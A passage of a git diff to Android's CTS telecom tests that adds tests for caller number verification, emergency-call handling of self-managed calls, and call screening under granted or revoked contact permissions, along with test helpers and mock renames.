+ Call call = getInCallService().getLastCall();
+
+ assertCallState(call, Call.STATE_DIALING);
+ assertCallProperties(call, Call.Details.PROPERTY_IS_EXTERNAL_CALL);
+ assertCallCapabilities(call, Call.Details.CAPABILITY_CAN_PULL_CALL);
+ return call;
}
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index b13b133..4c579ed 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
@@ -46,6 +46,45 @@
private static final PhoneAccountHandle TEST_INVALID_HANDLE = new PhoneAccountHandle(
new ComponentName(PACKAGE, COMPONENT), "WRONG_ID");
+ public void testVerstatPassed() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ addAndVerifyNewIncomingCall(MockConnectionService.VERSTAT_PASSED_NUMBER, null);
+ verifyConnectionForIncomingCall();
+
+ Call call = mInCallCallbacks.getService().getLastCall();
+ assertEquals(Connection.VERIFICATION_STATUS_PASSED,
+ call.getDetails().getCallerNumberVerificationStatus());
+ }
+
+ public void testVerstatFailed() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ addAndVerifyNewIncomingCall(MockConnectionService.VERSTAT_FAILED_NUMBER, null);
+ verifyConnectionForIncomingCall();
+
+ Call call = mInCallCallbacks.getService().getLastCall();
+ assertEquals(Connection.VERIFICATION_STATUS_FAILED,
+ call.getDetails().getCallerNumberVerificationStatus());
+ }
+
+ public void testVerstatNotVerified() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ addAndVerifyNewIncomingCall(MockConnectionService.VERSTAT_NOT_VERIFIED_NUMBER, null);
+ verifyConnectionForIncomingCall();
+
+ Call call = mInCallCallbacks.getService().getLastCall();
+ assertEquals(Connection.VERIFICATION_STATUS_NOT_VERIFIED,
+ call.getDetails().getCallerNumberVerificationStatus());
+ }
+
public void testAddNewIncomingCall_CorrectPhoneAccountHandle() throws Exception {
if (!mShouldTestTelecom) {
return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConference.java b/tests/tests/telecom/src/android/telecom/cts/MockConference.java
index ebf4e3f..91c5a1a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConference.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConference.java
@@ -40,7 +40,7 @@
}
public MockConference(MockConnection a, MockConnection b) {
- super(a.getPhoneAccountHandle());
+ super(a.getMockPhoneAccountHandle());
addConnection(a);
addConnection(b);
// a is the primary connection, so inherit the properties from it.
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 5ca1b2b..1704db9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -301,11 +301,11 @@
return mMockVideoProvider;
}
- public void setPhoneAccountHandle(PhoneAccountHandle handle) {
+ public void setMockPhoneAccountHandle(PhoneAccountHandle handle) {
mPhoneAccountHandle = handle;
}
- public PhoneAccountHandle getPhoneAccountHandle() {
+ public PhoneAccountHandle getMockPhoneAccountHandle() {
return mPhoneAccountHandle;
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 2025882..56c8ed9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -16,6 +16,7 @@
package android.telecom.cts;
+import android.net.Uri;
import android.os.Bundle;
import android.telecom.Connection;
import android.telecom.ConnectionRequest;
@@ -36,6 +37,9 @@
* received.
*/
public class MockConnectionService extends ConnectionService {
+ public static final Uri VERSTAT_NOT_VERIFIED_NUMBER = Uri.fromParts("tel", "777", null);
+ public static final Uri VERSTAT_PASSED_NUMBER = Uri.fromParts("tel", "555", null);
+ public static final Uri VERSTAT_FAILED_NUMBER = Uri.fromParts("tel", "333", null);
public static final String EXTRA_TEST = "com.android.telecom.extra.TEST";
public static final String TEST_VALUE = "we've got it";
public static final int CONNECTION_PRESENTATION = TelecomManager.PRESENTATION_ALLOWED;
@@ -63,13 +67,14 @@
public List<RemoteConnection> remoteConnections = new ArrayList<RemoteConnection>();
public List<MockConference> conferences = new ArrayList<MockConference>();
public List<RemoteConference> remoteConferences = new ArrayList<RemoteConference>();
+ public List<MockConnection> failedConnections = new ArrayList<>();
@Override
public Connection onCreateOutgoingConnection(PhoneAccountHandle connectionManagerPhoneAccount,
ConnectionRequest request) {
final MockConnection connection = new MockConnection();
connection.setAddress(request.getAddress(), CONNECTION_PRESENTATION);
- connection.setPhoneAccountHandle(connectionManagerPhoneAccount);
+ connection.setMockPhoneAccountHandle(connectionManagerPhoneAccount);
connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD |
Connection.CAPABILITY_HOLD
| Connection.CAPABILITY_SUPPORTS_VT_LOCAL_BIDIRECTIONAL
@@ -116,6 +121,16 @@
Bundle testExtra = new Bundle();
testExtra.putString(EXTRA_TEST, TEST_VALUE);
connection.putExtras(testExtra);
+ if (VERSTAT_NOT_VERIFIED_NUMBER.equals(request.getAddress())) {
+ connection.setCallerNumberVerificationStatus(
+ Connection.VERIFICATION_STATUS_NOT_VERIFIED);
+ } else if (VERSTAT_PASSED_NUMBER.equals(request.getAddress())) {
+ connection.setCallerNumberVerificationStatus(
+ Connection.VERIFICATION_STATUS_PASSED);
+ } else if (VERSTAT_FAILED_NUMBER.equals(request.getAddress())) {
+ connection.setCallerNumberVerificationStatus(
+ Connection.VERIFICATION_STATUS_FAILED);
+ }
incomingConnections.add(connection);
lock.release();
@@ -123,6 +138,16 @@
}
@Override
+ public void onCreateIncomingConnectionFailed(PhoneAccountHandle connectionManagerPhoneAccount,
+ ConnectionRequest request) {
+ final MockConnection connection = new MockConnection();
+ connection.setAddress(request.getAddress(), CONNECTION_PRESENTATION);
+ connection.setPhoneAccountHandle(connectionManagerPhoneAccount);
+ failedConnections.add(connection);
+ lock.release();
+ }
+
+ @Override
public void onConference(Connection connection1, Connection connection2) {
// Make sure that these connections are already not conferenced.
if (connection1.getConference() == null && connection2.getConference() == null) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
index 4f3bc668..ebdbf89 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
@@ -28,6 +28,8 @@
import android.telecom.TelecomManager;
import android.test.InstrumentationTestCase;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
@@ -197,6 +199,22 @@
assertFalse("Enabled Phone accounts should not contain the test account.",
oldAccounts.contains(TEST_PHONE_ACCOUNT_HANDLE));
}
+
+ try {
+ final List<PhoneAccountHandle> allAccounts =
+ mTelecomManager.getCallCapablePhoneAccounts(true);
+ assertTrue("No results expected without READ_PRIVILEGED_PHONE_STATE",
+ allAccounts.isEmpty());
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ final List<PhoneAccountHandle> allAccounts =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelecomManager,
+ (telecomManager) -> telecomManager.getCallCapablePhoneAccounts(true));
+ assertTrue("All Phone accounts should contain the test account.",
+ allAccounts.contains(TEST_PHONE_ACCOUNT_HANDLE));
+
TestUtils.enablePhoneAccount(getInstrumentation(), TEST_PHONE_ACCOUNT_HANDLE);
final List<PhoneAccountHandle> newAccounts = mTelecomManager.getCallCapablePhoneAccounts();
assertNotNull("No enabled Phone account found.", newAccounts);
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
index e53d789..cab5d5a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
@@ -64,6 +64,12 @@
}
@Override
+ public void onDisconnect() {
+ super.onDisconnect();
+ disconnectAndDestroy();
+ }
+
+ @Override
public void onShowIncomingCallUi() {
mOnShowIncomingUiInvokeCounter.invoke();
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 94e5437..24135ce 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -37,6 +37,7 @@
import java.util.function.Predicate;
import static android.media.AudioManager.MODE_IN_COMMUNICATION;
+import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
import static android.telecom.cts.TestUtils.waitOnAllHandlers;
@@ -608,19 +609,56 @@
}
/**
+ * Start a self-managed call and then dial an emergency call and make sure the self-managed
+ * call is successfully disconnected.
+ */
+ public void testDisconnectSelfManagedCallForEmergency() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+
+ Uri address = getTestNumber();
+ TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+ TEST_SELF_MANAGED_HANDLE_1, address);
+ // Ensure Telecom bound to the self managed CS
+ if (!CtsSelfManagedConnectionService.waitForBinding()) {
+ fail("Could not bind to Self-Managed ConnectionService");
+ }
+ SelfManagedConnection connection = TestUtils.waitForAndGetConnection(address);
+ assertNotNull("Self-Managed Connection should NOT be null.", connection);
+ assertTrue("Self-Managed Connection should be outgoing.", !connection.isIncomingCall());
+ // The self-managed ConnectionService must NOT have been prompted to show its incoming call
+ // UI for an outgoing call.
+ assertEquals(connection.getOnShowIncomingUiInvokeCounter().getInvokeCount(), 0);
+ setActiveAndVerify(connection);
+
+ placeAndVerifyEmergencyCall(true /*supportsHold*/);
+ Call eCall = getInCallService().getLastCall();
+
+ assertIsInCall(true);
+ assertIsInManagedCall(true);
+ try {
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ } catch (Exception e) {
+ fail("Failed to wait on handlers " + e);
+ }
+ assertCallState(eCall, Call.STATE_DIALING);
+ // The self-managed Connection should be disconnected!
+ assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+ }
+
+ /**
* Start a managed emergency call and then ensure that a subsequent self-managed call fails to
* be created.
*/
- public void testEmergencyCallOngoing() throws Exception {
+ public void testEmergencyCallOngoingNewOutgoingCall() throws Exception {
if (!mShouldTestTelecom) {
return;
}
- final String testNumber = "5551212";
- setupForEmergencyCalling(testNumber);
- Bundle extras = new Bundle();
- extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, Uri.fromParts("tel", testNumber, null));
- placeAndVerifyCall(extras);
+ setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+ placeAndVerifyEmergencyCall(true /*supportsHold*/);
assertIsInCall(true);
assertIsInManagedCall(true);
try {
@@ -629,7 +667,34 @@
fail("Failed to wait on handlers " + e);
}
- // Try adding a self managed call. It should fail to be created.
+ // Try adding a self managed outgoing call. It should fail to be created.
+ TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+ TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+ assertTrue("Expected onCreateOutgoingConnectionFailed callback",
+ CtsSelfManagedConnectionService.getConnectionService().waitForUpdate(
+ CtsSelfManagedConnectionService.CREATE_OUTGOING_CONNECTION_FAILED_LOCK));
+ }
+
+ /**
+ * Start a managed emergency call and then ensure that a subsequent self-managed call fails to
+ * be created.
+ */
+ public void testEmergencyCallOngoingIncomingCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+ placeAndVerifyEmergencyCall(true /*supportsHold*/);
+ assertIsInCall(true);
+ assertIsInManagedCall(true);
+ try {
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ } catch (Exception e) {
+ fail("Failed to wait on handlers " + e);
+ }
+
+ // Try adding a self managed incoming call. It should fail to be created.
TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
assertTrue("Expected onCreateIncomingConnectionFailed callback",
diff --git a/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
index 9569f1d..e4d28a4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
@@ -30,6 +30,7 @@
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
@@ -130,4 +131,12 @@
TestUtils.setDefaultDialer(getInstrumentation(), mSystemDialer);
assertNotSame(TEST_PHONE_ACCOUNT_HANDLE, mTelecomManager.getSimCallManager());
}
+
+ public void testGetSimCallManagerForSub() {
+ if (!TestUtils.shouldTestTelecom(mContext)) {
+ return;
+ }
+ assertNull(mTelecomManager.getSimCallManagerForSubscription(
+ SubscriptionManager.DEFAULT_SUBSCRIPTION_ID));
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index b82a84e..6af49f3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -18,6 +18,8 @@
import android.app.Instrumentation;
import android.bluetooth.BluetoothDevice;
import android.content.ComponentName;
+import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Color;
@@ -31,6 +33,7 @@
import android.os.Process;
import android.os.SystemClock;
import android.os.UserManager;
+import android.provider.ContactsContract;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
@@ -659,6 +662,13 @@
mInvokeArgs.clear();
}
}
+
+ public void reset() {
+ synchronized (mLock) {
+ clearArgs();
+ mInvokeCount = 0;
+ }
+ }
}
private static long getCurrentUserSerialNumber(Instrumentation instrumentation) {
@@ -666,4 +676,37 @@
instrumentation.getContext().getSystemService(UserManager.class);
return userManager.getSerialNumberForUser(Process.myUserHandle());
}
+
+
+
+ public static Uri insertContact(ContentResolver contentResolver, String phoneNumber)
+ throws Exception {
+ ArrayList<ContentProviderOperation> ops = new ArrayList<>();
+ ops.add(ContentProviderOperation
+ .newInsert(ContactsContract.RawContacts.CONTENT_URI)
+ .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, "test_type")
+ .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, "test_name")
+ .build());
+ ops.add(ContentProviderOperation
+ .newInsert(ContactsContract.Data.CONTENT_URI)
+ .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
+ .withValue(ContactsContract.Data.MIMETYPE,
+ ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+ .withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME, "test")
+ .build());
+ ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
+ .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
+ .withValue(ContactsContract.Data.MIMETYPE,
+ ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE)
+ .withValue(ContactsContract.CommonDataKinds.Phone.NUMBER, phoneNumber)
+ .withValue(ContactsContract.CommonDataKinds.Phone.TYPE,
+ ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE)
+ .withYieldAllowed(true)
+ .build());
+ return contentResolver.applyBatch(ContactsContract.AUTHORITY, ops)[0].uri;
+ }
+
+ public static int deleteContact(ContentResolver contentResolver, Uri deleteUri) {
+ return contentResolver.delete(deleteUri, null, null);
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
index 3251dbe..76c7c72 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
@@ -21,11 +21,14 @@
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import android.Manifest;
import android.app.role.RoleManager;
import android.content.ComponentName;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
@@ -57,10 +60,14 @@
+ "android.telecom.cts.screeningtestapp.CtsCallScreeningService";
private static final int ASYNC_TIMEOUT = 10000;
private static final String ROLE_CALL_SCREENING = RoleManager.ROLE_CALL_SCREENING;
+ private static final Uri TEST_OUTGOING_NUMBER = Uri.fromParts("tel", "6505551212", null);
private ICallScreeningControl mCallScreeningControl;
private RoleManager mRoleManager;
private String mPreviousCallScreeningPackage;
+ private PackageManager mPackageManager;
+ private Uri mContactUri;
+ private ContentResolver mContentResolver;
@Override
protected void setUp() throws Exception {
@@ -69,12 +76,15 @@
return;
}
mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE);
+ mPackageManager = mContext.getPackageManager();
+ revokeReadContactPermission();
setupControlBinder();
setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
rememberPreviousCallScreeningApp();
// Ensure CTS app holds the call screening role.
addRoleHolder(ROLE_CALL_SCREENING,
CtsCallScreeningService.class.getPackage().getName());
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
}
@Override
@@ -109,10 +119,10 @@
// Tell the test app to block the call.
mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
- true /* shouldRejectCall */, false /* shouldSilenceCall */, false /* shouldSkipCallLog */,
- true /* shouldSkipNotification */);
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
- addIncomingAndVerifyBlocked();
+ addIncomingAndVerifyBlocked(false /* addContact */);
}
/**
@@ -129,10 +139,10 @@
// Tell the test app to block the call; also try to skip logging the call.
mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
- true /* shouldRejectCall */, false /* shouldSilenceCall */, true /* shouldSkipCallLog */,
- true /* shouldSkipNotification */);
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ true /* shouldSkipCallLog */, true /* shouldSkipNotification */);
- addIncomingAndVerifyBlocked();
+ addIncomingAndVerifyBlocked(false /* addContact */);
}
/**
@@ -169,28 +179,159 @@
addIncomingAndVerifyCallExtraForSilence(false);
}
- private Uri placeOutgoingCall() throws Exception {
+ public void testHasPermissionAndNoContactIncoming() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ grantReadContactPermission();
+ verifyPermission(true);
+ // Tell the test app to block the call.
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyBlocked(false /* addContact */);
+ }
+
+ public void testNoPermissionAndNoContactIncoming() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ verifyPermission(false);
+ // Tell the test app to block the call.
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyBlocked(false /* addContact */);
+ }
+
+ public void testHasPermissionAndHasContactIncoming() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ grantReadContactPermission();
+ verifyPermission(true);
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyBlocked(true /* addContact */);
+ }
+
+ public void testNoPermissionAndHasContactIncoming() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ verifyPermission(false);
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyAllowed(true /* addContact */);
+ }
+
+ public void testHasPermissionAndNoContactOutgoing() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ grantReadContactPermission();
+ verifyPermission(true);
+ placeOutgoingCall(false /* addContact */);
+ assertTrue(mCallScreeningControl.waitForBind());
+ }
+
+ public void testNoPermissionAndNoContactOutgoing() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ verifyPermission(false);
+ placeOutgoingCall(false /* addContact */);
+ assertTrue(mCallScreeningControl.waitForBind());
+ }
+
+ public void testHasPermissionAndHasContactOutgoing() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ grantReadContactPermission();
+ verifyPermission(true);
+ placeOutgoingCall(true /* addCountact */);
+ assertTrue(mCallScreeningControl.waitForBind());
+ }
+
+ public void testNoPermissionAndHasContactOutgoing() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ verifyPermission(false);
+ placeOutgoingCall(true /* addCountact */);
+ assertFalse(mCallScreeningControl.waitForBind());
+ }
+
+ public void testNoPostCallActivityWithoutRole() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ removeRoleHolder(ROLE_CALL_SCREENING, CtsCallScreeningService.class.getPackage().getName());
+ addIncomingAndVerifyAllowed(false);
+ assertFalse(mCallScreeningControl.waitForActivity());
+ }
+
+ public void testAllowCall() throws Exception {
+ mCallScreeningControl.setCallResponse(false /* shouldDisallowCall */,
+ false /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, false /* shouldSkipNotification */);
+ addIncomingAndVerifyAllowed(false /* addContact */);
+ assertTrue(mCallScreeningControl.waitForActivity());
+ }
+
+ public void testNoPostCallActivityWhenBlocked() throws Exception {
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyBlocked(false /* addContact */);
+ assertFalse(mCallScreeningControl.waitForActivity());
+ }
+
+ private void placeOutgoingCall(boolean addContact) throws Exception {
// Setup content observer to notify us when we call log entry is added.
CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
- Uri phoneNumber = createRandomTestNumber();
+ Uri contactUri = null;
+ if (addContact) {
+ contactUri = TestUtils.insertContact(mContentResolver,
+ TEST_OUTGOING_NUMBER.getSchemeSpecificPart());
+ }
Bundle extras = new Bundle();
- extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, phoneNumber);
+ extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_OUTGOING_NUMBER);
// Create a new outgoing call.
placeAndVerifyCall(extras);
+ if (addContact) {
+ assertEquals(1, TestUtils.deleteContact(mContentResolver, contactUri));
+ }
+
mInCallCallbacks.getService().disconnectAllCalls();
assertNumCalls(mInCallCallbacks.getService(), 0);
// Wait for it to log.
callLogEntryLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
- return phoneNumber;
}
- private Uri addIncoming(boolean disconnectImmediately) throws Exception {
+ private Uri addIncoming(boolean disconnectImmediately, boolean addContact) throws Exception {
// Add call through TelecomManager; we can't use the test methods since they assume a call
// makes it through to the InCallService; this is blocked so it shouldn't.
Uri testNumber = createRandomTestNumber();
+ if (addContact) {
+ mContactUri = TestUtils.insertContact(mContentResolver,
+ testNumber.getSchemeSpecificPart());
+ }
// Setup content observer to notify us when we call log entry is added.
CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
@@ -213,11 +354,36 @@
return testNumber;
}
- private void addIncomingAndVerifyBlocked() throws Exception {
- Uri testNumber = addIncoming(false);
+ private void addIncomingAndVerifyAllowed(boolean addContact) throws Exception {
+ Uri testNumber = addIncoming(true, addContact);
// Query the latest entry into the call log.
- Cursor callsCursor = mContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
+ Cursor callsCursor = mContentResolver.query(CallLog.Calls.CONTENT_URI, null,
+ null, null, CallLog.Calls._ID + " DESC limit 1;");
+ int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER);
+ int callTypeIndex = callsCursor.getColumnIndex(CallLog.Calls.TYPE);
+ int blockReasonIndex = callsCursor.getColumnIndex(CallLog.Calls.BLOCK_REASON);
+ if (callsCursor.moveToNext()) {
+ String number = callsCursor.getString(numberIndex);
+ int callType = callsCursor.getInt(callTypeIndex);
+ int blockReason = callsCursor.getInt(blockReasonIndex);
+ assertEquals(testNumber.getSchemeSpecificPart(), number);
+ assertEquals(CallLog.Calls.INCOMING_TYPE, callType);
+ assertEquals(CallLog.Calls.BLOCK_REASON_NOT_BLOCKED, blockReason);
+ } else {
+ fail("Call not logged");
+ }
+
+ if (addContact && mContactUri != null) {
+ assertEquals(1, TestUtils.deleteContact(mContentResolver, mContactUri));
+ }
+ }
+
+ private void addIncomingAndVerifyBlocked(boolean addContact) throws Exception {
+ Uri testNumber = addIncoming(false, addContact);
+
+ // Query the latest entry into the call log.
+ Cursor callsCursor = mContentResolver.query(CallLog.Calls.CONTENT_URI, null,
null, null, CallLog.Calls._ID + " DESC limit 1;");
int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER);
int callTypeIndex = callsCursor.getColumnIndex(CallLog.Calls.TYPE);
@@ -240,11 +406,15 @@
} else {
fail("Blocked call was not logged.");
}
+
+ if (addContact && mContactUri != null) {
+ assertEquals(1, TestUtils.deleteContact(mContentResolver, mContactUri));
+ }
}
private void addIncomingAndVerifyCallExtraForSilence(boolean expectedIsSilentRingingExtraSet)
throws Exception {
- Uri testNumber = addIncoming(false);
+ Uri testNumber = addIncoming(false, false);
waitUntilConditionIsTrueOrTimeout(
new Condition() {
@@ -349,4 +519,26 @@
assertTrue(result);
}
+ private void grantReadContactPermission() {
+ runWithShellPermissionIdentity(() -> {
+ if (mPackageManager != null) {
+ mPackageManager.grantRuntimePermission(TEST_APP_PACKAGE,
+ Manifest.permission.READ_CONTACTS, mContext.getUser());
+ }});
+ }
+
+ private void revokeReadContactPermission() {
+ runWithShellPermissionIdentity(() -> {
+ if (mPackageManager != null) {
+ mPackageManager.revokeRuntimePermission(TEST_APP_PACKAGE,
+ Manifest.permission.READ_CONTACTS, mContext.getUser());
+ }});
+ }
+
+ private void verifyPermission(boolean hasPermission) {
+ assertEquals(hasPermission,
+ mPackageManager.checkPermission
+ (Manifest.permission.READ_CONTACTS, TEST_APP_PACKAGE)
+ == PackageManager.PERMISSION_GRANTED);
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
index f0f6287..d5f088a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
@@ -46,7 +46,6 @@
private static final String TAG = ThirdPartyInCallServiceTest.class.getSimpleName();
private static final String ROLE_COMPANION_APP = "android.app.role.CALL_COMPANION";
- private static final String ROLE_CAR_MODE_DIALER_APP = "android.app.role.CAR_MODE_DIALER";
private static final Uri sTestUri = Uri.parse("tel:555-TEST");
private Context mContext;
private UiModeManager mUiModeManager;
@@ -71,30 +70,17 @@
mThirdPartyPackageName = CtsThirdPartyInCallService.class.getPackage().getName();
- // Ensure no ThirdPartyInCallService serves as a car mode dialer app or companion app.
+ // Ensure no ThirdPartyInCallService serves as a companion app.
// (Probably from previous test failures, if any.)
- mCtsRoleManagerAdapter.removeAutomotiveRoleHolder(mThirdPartyPackageName);
mCtsRoleManagerAdapter.removeCompanionAppRoleHolder(mThirdPartyPackageName);
-
- // Cache current role holder.
- cacheCurrentRoleHolder(ROLE_CAR_MODE_DIALER_APP);
}
@Override
public void tearDown() throws Exception {
mICtsThirdPartyInCallServiceControl.resetCalls();
-
- // Disable car mode and remove any third party car mode assigned before tear down.
- mCtsRoleManagerAdapter.removeAutomotiveRoleHolder(mThirdPartyPackageName);
// Remove the third party companion app before tear down.
mCtsRoleManagerAdapter.removeCompanionAppRoleHolder(mThirdPartyPackageName);
- // Restore cached car mode role holder.
- if (!TextUtils.isEmpty(mPreviousRoleHolder)) {
- mCtsRoleManagerAdapter.addAutomotiveRoleHolder(mPreviousRoleHolder);
- }
- mUiModeManager.disableCarMode(0);
-
super.tearDown();
if (!mSkipNullUnboundLatch) {
assertBindStatus(/* true: bind, false: unbind */false, /* expected result */true);
@@ -131,17 +117,6 @@
